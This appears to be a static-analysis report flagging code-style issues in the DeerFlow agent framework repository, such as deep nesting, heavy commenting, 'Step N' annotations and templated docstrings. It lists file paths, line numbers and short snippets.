LOWbackend/app/gateway/routers/assistants_compat.py20logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/threads.py76logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/mcp.py28logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/channels.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/artifacts.py30logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/uploads.py40logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/github_webhooks.py39logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/runs.py23logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/integrations.py34logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/routers/input_polish.py12logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/local_provider.py10logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/oidc.py20logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/config.py9logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/config.py82def set_auth_config(config: AuthConfig) -> None:CODE
LOWbackend/app/gateway/auth/oidc_state.py91def set_state_cookie(response: Response, request: Request, payload: OIDCStatePayload) -> None:CODE
LOWbackend/app/gateway/auth/__init__.py18__all__ = [CODE
LOWbackend/app/gateway/auth/session_cookie.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/auth/user_provisioning.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/dispatcher.py38logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/registry.py37logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/app_auth.py33logger = logging.getLogger(__name__)CODE
LOWbackend/app/gateway/github/run_policy.py22logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/store.py13logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/service.py19logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/message_bus.py15logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/dingtalk.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/telegram.py25logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/discord.py18logger = logging.getLogger(__name__)CODE
LOWbackend/app/channels/__init__.py11__all__ = [CODE
LOWbackend/app/channels/wechat.py31logger = logging.getLogger(__name__)CODE
336 more matches not shown…
Deep Nesting348 hits · 286 pts
SeverityFileLineSnippetContext
LOWbackend/debug.py63CODE
LOWbackend/app/mcp_tasks/service.py391CODE
LOWbackend/app/gateway/deps.py192CODE
LOWbackend/app/gateway/services.py292CODE
LOWbackend/app/gateway/services.py643CODE
LOWbackend/app/gateway/services.py1165CODE
LOWbackend/app/gateway/services.py1291CODE
LOWbackend/app/gateway/auth_middleware.py89CODE
LOWbackend/app/gateway/routers/auth.py200CODE
LOWbackend/app/gateway/routers/auth.py465CODE
LOWbackend/app/gateway/routers/console.py427CODE
LOWbackend/app/gateway/routers/models.py50CODE
LOWbackend/app/gateway/routers/models.py138CODE
LOWbackend/app/gateway/routers/thread_runs.py925CODE
LOWbackend/app/gateway/routers/thread_runs.py1154CODE
LOWbackend/app/gateway/routers/scheduled_tasks.py158CODE
LOWbackend/app/gateway/routers/browser.py207CODE
LOWbackend/app/gateway/routers/browser.py376CODE
LOWbackend/app/gateway/routers/browser.py430CODE
LOWbackend/app/gateway/routers/threads.py1483CODE
LOWbackend/app/gateway/routers/threads.py1539CODE
LOWbackend/app/gateway/routers/mcp.py763CODE
LOWbackend/app/gateway/routers/mcp.py962CODE
LOWbackend/app/gateway/routers/artifacts.py240CODE
LOWbackend/app/gateway/routers/artifacts.py496CODE
LOWbackend/app/gateway/routers/uploads.py302CODE
LOWbackend/app/gateway/routers/github_webhooks.py173CODE
LOWbackend/app/gateway/github/triggers.py82CODE
LOWbackend/app/gateway/github/registry.py75CODE
LOWbackend/app/gateway/github/identity.py62CODE
LOWbackend/app/channels/dingtalk.py99CODE
LOWbackend/app/channels/dingtalk.py382CODE
LOWbackend/app/channels/dingtalk.py521CODE
LOWbackend/app/channels/telegram.py136CODE
LOWbackend/app/channels/discord.py182CODE
LOWbackend/app/channels/discord.py465CODE
LOWbackend/app/channels/wechat.py547CODE
LOWbackend/app/channels/wechat.py1030CODE
LOWbackend/app/channels/feishu.py355CODE
LOWbackend/app/channels/feishu.py664CODE
LOWbackend/app/channels/feishu.py789CODE
LOWbackend/app/channels/feishu.py822CODE
LOWbackend/app/channels/feishu.py1051CODE
LOWbackend/app/channels/buzz.py319CODE
LOWbackend/app/channels/buzz.py901CODE
LOWbackend/app/channels/manager.py343CODE
LOWbackend/app/channels/manager.py422CODE
LOWbackend/app/channels/manager.py463CODE
LOWbackend/app/channels/manager.py635CODE
LOWbackend/app/channels/manager.py884CODE
LOWbackend/app/channels/manager.py1693CODE
LOWbackend/app/channels/manager.py1751CODE
LOWbackend/app/channels/manager.py2145CODE
LOWbackend/app/channels/manager.py2302CODE
LOWbackend/app/channels/manager.py2440CODE
LOWbackend/app/channels/base.py352CODE
LOWbackend/app/channels/slack.py325CODE
LOWbackend/app/channels/wecom.py268CODE
LOWbackend/tests/manual_browser_live_check.py121CODE
LOWbackend/tests/test_extension_subagent_lifecycle.py30CODE
288 more matches not shown…
AI Slop Vocabulary100 hits · 266 pts
SeverityFileLineSnippetContext
MEDIUMconfig.example.yaml255 # Install: cd backend && uv pip install 'deerflow-harness[ollama]'COMMENT
MEDIUMconfig.example.yaml1479# cold start. Requires the optional SDK: pip install "deerflow-harness[tenki]".COMMENT
MEDIUMconfig.example.yaml1500# the optional SDK: pip install "deerflow-harness[opensandbox]".COMMENT
MEDIUMdocker/dev-entrypoint.sh13# workspace member extras (deerflow-harness'sCOMMENT
MEDIUMdocker/lark-cli-broker/entrypoint.sh11# no third-party dependencies, so no harness install is needed in this image.COMMENT
MEDIUMdocker/lark-cli-init/build-runtime.sh69# backend/packages/harness/deerflow/integrations/lark_cli.pyCOMMENT
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json168 "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json365 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json307 "content": "[\n {\n \"title\": \"Startup Industry Trends in 2026 - Qubit Capital\",\n \"url\": \"https://CODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json383 "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI armCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json483 "content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by acceleCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json483 "content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by acceleCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json550 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json1376 "content": "I've created a modern, minimalist website showcasing the 2026 trends and opportunities analysis. TheCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
LOW…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json225 "content": "[\n {\n \"title\": \"Diana Hu - Partner at Y Combinator | LinkedIn\",\n \"url\": \"https://wwCODE
MEDIUM…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json1173 "content": "I've thoroughly analyzed Diana Hu's Y Combinator talk and conducted deep research on her background CODE
MEDIUM…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json53 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
LOW…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json64 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
MEDIUM…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json694 "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqinCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json694 "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqinCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json732 "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[SCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json732 "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[SCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json46 "content": "---\nname: github-deep-research\ndescription: Conduct multi-round deep research on any GitHub Repo. CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json883 "content": "# 🦌 DeerFlow\n\n# Deep Researchat Your Fingertipsat Your Fingertips\n\nMeet DeerFlow, your personal CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1637 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUM…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json204 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
LOW…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json186 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
MEDIUM…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
MEDIUMdeploy/helm/deer-flow/values.yaml268 # resolved by the harness before the config is instantiated.COMMENT
MEDIUMbackend/pyproject.toml9 # Direct dependency on purpose, even though deerflow-harness already pullsCOMMENT
MEDIUMbackend/pyproject.toml14 # app declares them rather than relying on the harness to keep supplying it.COMMENT
MEDIUMbackend/pyproject.toml66 # Monocle tracer (also the deerflow-harness[monocle] extra); kept in the devCOMMENT
MEDIUMbackend/pyproject.toml69 # redis is an optional runtime extra (deerflow-harness[redis]); pin it in theCOMMENT
MEDIUMbackend/pyproject.toml73 # TUI runtime dep (also declared as the deerflow-harness[tui] extra); kept inCOMMENT
MEDIUMbackend/app/gateway/services.py690 # harness's private run-context channels (skill secret-bindingCOMMENT
40 more matches not shown…
Over-Commented Block346 hits · 250 pts
SeverityFileLineSnippetContext
LOWconfig.example.yaml1# Configuration for the DeerFlow applicationCOMMENT
LOWconfig.example.yaml21# LoggingCOMMENT
LOWconfig.example.yaml41# lead-only vs subagent-only configuration is not expressible yet. Treat theseCOMMENT
LOWconfig.example.yaml61# ============================================================================COMMENT
LOWconfig.example.yaml81 hard_stop_threshold: 1.0 # Force stop at 100% of the budgetCOMMENT
LOWconfig.example.yaml101# - `max_tokens` is the per-call OUTPUT cap passed to the provider.COMMENT
LOWconfig.example.yaml121 # Example: Volcengine (Doubao) modelCOMMENT
LOWconfig.example.yaml141 # type: disabledCOMMENT
LOWconfig.example.yaml161 # thinking:COMMENT
LOWconfig.example.yaml181 # thinking:COMMENT
LOWconfig.example.yaml201 # use: deerflow.models.patched_deepseek:PatchedChatDeepSeekCOMMENT
LOWconfig.example.yaml221 # Example: OpenAI modelCOMMENT
LOWconfig.example.yaml241 # max_retries: 2COMMENT
LOWconfig.example.yaml261 # base_url: http://localhost:11434 # No /v1 suffix — uses native /api/chatCOMMENT
LOWconfig.example.yaml281 # For Docker deployments, use host.docker.internal instead of localhost:COMMENT
LOWconfig.example.yaml301 # thinking:COMMENT
LOWconfig.example.yaml321 # Use PatchedChatOpenAI so that tool-call thought_signature values on tool_callsCOMMENT
LOWconfig.example.yaml341 # when_thinking_disabled:COMMENT
LOWconfig.example.yaml361 # model: mimo-v2.5-proCOMMENT
LOWconfig.example.yaml381 # use: deerflow.models.patched_deepseek:PatchedChatDeepSeekCOMMENT
LOWconfig.example.yaml401 # use: deerflow.models.patched_deepseek:PatchedChatDeepSeekCOMMENT
LOWconfig.example.yaml421 # See: https://novita.aiCOMMENT
LOWconfig.example.yaml441 # type: disabledCOMMENT
LOWconfig.example.yaml461 # supports_vision: trueCOMMENT
LOWconfig.example.yaml481 # temperature: 1.0 # MiniMax requires temperature in (0.0, 1.0]COMMENT
LOWconfig.example.yaml501 # NOTE: M2.x models always think — passing thinking:{type:disabled} has noCOMMENT
LOWconfig.example.yaml521 # display_name: MiniMax M2.7 HighspeedCOMMENT
LOWconfig.example.yaml541 # base_url: https://api.minimaxi.com/v1COMMENT
LOWconfig.example.yaml561 # extra_body:COMMENT
LOWconfig.example.yaml581 # supports_vision: false # M2.7 is text-only; M3 supports visionCOMMENT
LOWconfig.example.yaml601 # use: langchain_openai:ChatOpenAICOMMENT
LOWconfig.example.yaml621 # request_timeout: 600.0COMMENT
LOWconfig.example.yaml641 # when_thinking_enabled:COMMENT
LOWconfig.example.yaml661 # base_url: http://localhost:8000/v1COMMENT
LOWconfig.example.yaml681 # api_key: $OPENAI_API_KEYCOMMENT
LOWconfig.example.yaml701 - name: webCOMMENT
LOWconfig.example.yaml721 # Configure stable IDs only to restrict scope. IDs and catalog listing neverCOMMENT
LOWconfig.example.yaml741 use: deerflow.community.ddg_search.tools:web_search_toolCOMMENT
LOWconfig.example.yaml761 # - name: web_searchCOMMENT
LOWconfig.example.yaml781 # https://brave.com/search/api/ to get a key. Unlike the DuckDuckGoCOMMENT
LOWconfig.example.yaml801 # search_time_range: 10COMMENT
LOWconfig.example.yaml821 # contents_max_characters: 1000COMMENT
LOWconfig.example.yaml841 # # api_key: $GROUNDROUTE_API_KEY # Optional if the env var is setCOMMENT
LOWconfig.example.yaml861 # base_url: http://localhost:3032 # Browserless instance URL (default: :3032; Docker: http://browserless:3000)COMMENT
LOWconfig.example.yaml881 # Comment out the Jina AI web_fetch entry below before enabling this one.COMMENT
LOWconfig.example.yaml901 # # token: $BROWSERLESS_TOKEN # Required for Browserless Cloud; optional for self-hostedCOMMENT
LOWconfig.example.yaml921 # cd backend && uv sync --extra browser && uv run playwright install chromiumCOMMENT
LOWconfig.example.yaml941 # # # so you watch the agent drive your real browserCOMMENT
LOWconfig.example.yaml961 # use: deerflow.community.browser_automation.tools:browser_get_text_toolCOMMENT
LOWconfig.example.yaml981 # Web fetch tool (uses Jina AI reader)COMMENT
LOWconfig.example.yaml1001COMMENT
LOWconfig.example.yaml1021 # - name: web_fetchCOMMENT
LOWconfig.example.yaml1041 # # Image size filter. Options: "l" (large), "m" (medium), "i" (icon).COMMENT
LOWconfig.example.yaml1101COMMENT
LOWconfig.example.yaml1181 warn_threshold: 3COMMENT
LOWconfig.example.yaml1201# Three transition paths (determined by deerflow_tool_meta.recoverable_by_model):COMMENT
LOWconfig.example.yaml1221# ============================================================================COMMENT
LOWconfig.example.yaml1241# Detectors are loaded by class path via reflection (same pattern asCOMMENT
LOWconfig.example.yaml1261 # Example — add a custom detector for an in-house provider:COMMENT
LOWconfig.example.yaml1281 # isolation applies. Keep this disabled unless uploads come from a fullyCOMMENT
286 more matches not shown…
Structural Annotation Overuse124 hits · 215 pts
SeverityFileLineSnippetContext
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json168 "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json365 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json64 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json186 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOWbackend/tests/test_multi_worker_run_ownership.py2251 # Step 1: cancel(action=rollback) flips running → interruptedCOMMENT
LOWbackend/tests/test_multi_worker_run_ownership.py2257 # Step 2: worker.py finalize path — task raises CancelledError, thenCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py82 # Step 1: Start a container (simulating previous process lifecycle)COMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py94 # Step 2: Create backend and list running containersCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py105 # Step 3: list_running should find our containerCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py110 # Step 4: Simulate reconciliation — this container's created_at is recent,COMMENT
LOWbackend/tests/test_client_e2e.py166# Step 2: Basic streaming (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py227# Step 3: Tool call flow (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py263# Step 4: File upload integration (no LLM needed for most)COMMENT
LOWbackend/tests/test_client_e2e.py347# Step 5: Lifecycle and configuration (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py404# Step 6: Middleware chain verification (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py442# Step 7: Error and boundary conditionsCOMMENT
LOWbackend/tests/test_client_e2e.py487# Step 8: Artifact access (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py542# Step 9: Skill installation (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py639# Step 10: Configuration management (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py776# Step 11: Memory access (no LLM needed)COMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py295 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py302 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py323 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py330 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_client.py2545 # Step 2: ListCOMMENT
LOWbackend/tests/test_client.py2550 # Step 3: Delete oneCOMMENT
LOWbackend/tests/test_client.py2554 # Step 4: Verify deletionCOMMENT
LOWbackend/tests/test_client.py2533 # Step 1: UploadCOMMENT
LOWbackend/tests/test_client.py2942 # Step 1: InstallCOMMENT
LOWbackend/tests/test_client.py2954 # Step 2: List and find itCOMMENT
LOWbackend/tests/test_client.py2966 # Step 3: Disable itCOMMENT
LOWbackend/tests/test_mcp_config_secrets.py361 # Step 1: Server returns masked config (simulates GET response)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py366 # Step 2: Frontend toggles enabled and sends back (simulates PUT request)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py369 # Step 3: Server merges with existing secrets (simulates PUT handler)COMMENT
LOWbackend/docs/SSO.md56### Step 1: Enable OIDC in `config.yaml`COMMENT
LOWbackend/docs/SSO.md76### Step 2: Set the client secret as an environment variableCOMMENT
LOWbackend/docs/SSO.md88### Step 3: Restart the backendCOMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py122 # Step 1: Look up built-in, then fall back to custom_agentsCOMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py131 # Step 2: Apply per-agent overrides from config.yaml agents section.COMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py677 # Step 1: enumerate container names via docker psCOMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py712 # Step 2: batched docker inspect — single subprocess call for all containersCOMMENT
LOW…owers/plans/2026-06-08-minimax-generation-providers.md1430### Step 1: Understand RequirementsCOMMENT
LOW…owers/plans/2026-06-08-minimax-generation-providers.md1435### Step 2: Create the Spec JSONCOMMENT
LOW…owers/plans/2026-06-08-minimax-generation-providers.md1459### Step 3: Execute GenerationCOMMENT
LOWskills/public/music-generation/SKILL.md16### Step 1: Understand RequirementsCOMMENT
LOWskills/public/music-generation/SKILL.md21### Step 2: Create the Spec JSONCOMMENT
LOWskills/public/music-generation/SKILL.md45### Step 3: Execute GenerationCOMMENT
LOWskills/public/image-generation/SKILL.md21### Step 1: Understand RequirementsCOMMENT
LOWskills/public/image-generation/SKILL.md31### Step 2: Create Structured PromptCOMMENT
LOWskills/public/image-generation/SKILL.md35### Step 3: Execute GenerationCOMMENT
LOWskills/public/surprise-me/SKILL.md12### Step 1: Discover Available SkillsCOMMENT
LOWskills/public/surprise-me/SKILL.md16### Step 2: Plan the SurpriseCOMMENT
LOWskills/public/surprise-me/SKILL.md33### Step 3: Fallback — No Other Skills AvailableCOMMENT
LOWskills/public/surprise-me/SKILL.md41### Step 4: ExecuteCOMMENT
LOWskills/public/surprise-me/SKILL.md48### Step 5: RevealCOMMENT
LOWskills/public/find-skills/SKILL.md35### Step 1: Understand What They NeedCOMMENT
LOWskills/public/find-skills/SKILL.md43### Step 2: Search for SkillsCOMMENT
LOWskills/public/find-skills/SKILL.md66### Step 3: Present Options to the UserCOMMENT
64 more matches not shown…
Docstring Block Structure38 hits · 190 pts
SeverityFileLineSnippetContext
HIGHbackend/CONTRIBUTING.md131Create a chat model instance from configuration. Args: name: The model name as defined in config.yaml STRING
HIGHbackend/app/gateway/path_utils.py12Resolve a virtual path to the actual filesystem path under thread user-data. Args: thread_id: The thread IDSTRING
HIGHbackend/app/gateway/routers/models.py143Get a specific model by name. Args: model_name: The unique name of the model to retrieve. Returns: STRING
HIGHbackend/app/gateway/routers/agents.py239Check whether an agent name is valid and not yet taken. Args: name: The agent name to check. Returns: STRING
HIGHbackend/app/gateway/routers/agents.py268Get a specific custom agent by name. Args: name: The agent name. Returns: Agent details includSTRING
HIGHbackend/app/gateway/routers/agents.py306Create a new custom agent. Args: request: The agent creation request. Returns: The created ageSTRING
HIGHbackend/app/gateway/routers/agents.py363Update an existing custom agent. Args: name: The agent name. request: The update request (all fieldSTRING
HIGHbackend/app/gateway/routers/mcp.py1098Update the MCP configuration. This will: 1. Save the new configuration to the mcp_config.json file 2. ReloaSTRING
HIGHbackend/app/gateway/routers/artifacts.py350Get an artifact file by its path. The endpoint automatically detects file types and returns appropriate content typSTRING
HIGHbackend/app/gateway/auth/repositories/base.py27Create a new user. Args: user: User object to create Returns: Created User witSTRING
HIGHbackend/app/gateway/auth/repositories/base.py69Update an existing user. Args: user: User object with updated fields Returns: STRING
HIGHbackend/packages/harness/deerflow/client.py1240Update MCP server configurations. Writes to extensions_config.json and reloads the cache. Args: STRING
HIGHbackend/packages/harness/deerflow/client.py1299Update a skill's enabled status. Args: name: Skill name. enabled: New enabled status. STRING
HIGHbackend/packages/harness/deerflow/client.py1395Install a skill from a .skill archive (ZIP). Args: skill_path: Path to the .skill file. ReSTRING
HIGHbackend/packages/harness/deerflow/client.py1513Upload local files into a thread's uploads directory. For PDF, PPT, Excel, and Word files, they are also converSTRING
HIGHbackend/packages/harness/deerflow/client.py1639Delete a file from a thread's uploads directory. Args: thread_id: Thread ID. filename: STRING
HIGHbackend/packages/harness/deerflow/client.py1664Read an artifact file produced by the agent. Args: thread_id: Thread ID. path: Virtual STRING
HIGHbackend/packages/harness/deerflow/tools/sync.py39Build a synchronous wrapper for an asynchronous tool coroutine. Args: coro: Async callable backing a LangChSTRING
HIGH…kend/packages/harness/deerflow/config/agents_config.py298Load the custom or default agent's config. Dispatches to the configured agent store (``agent_storage.backend``): thSTRING
HIGHbackend/packages/harness/deerflow/config/paths.py435Resolve a sandbox virtual path to the actual host filesystem path. Args: thread_id: The thread ID. STRING
HIGH…/packages/harness/deerflow/config/extensions_config.py343Resolve the extensions config file path. Priority: 1. If provided `config_path` argument, use it. STRING
HIGHbackend/packages/harness/deerflow/uploads/manager.py49Sanitize a filename by extracting its basename. Strips any directory components and rejects traversal patterns. STRING
HIGHbackend/packages/harness/deerflow/uploads/manager.py322Delete a file inside *base_dir* after path-traversal validation. If *convertible_extensions* is provided and the fiSTRING
HIGHbackend/packages/harness/deerflow/utils/network.py59Allocate an available port in a thread-safe manner. This method is thread-safe. It finds an available port, marSTRING
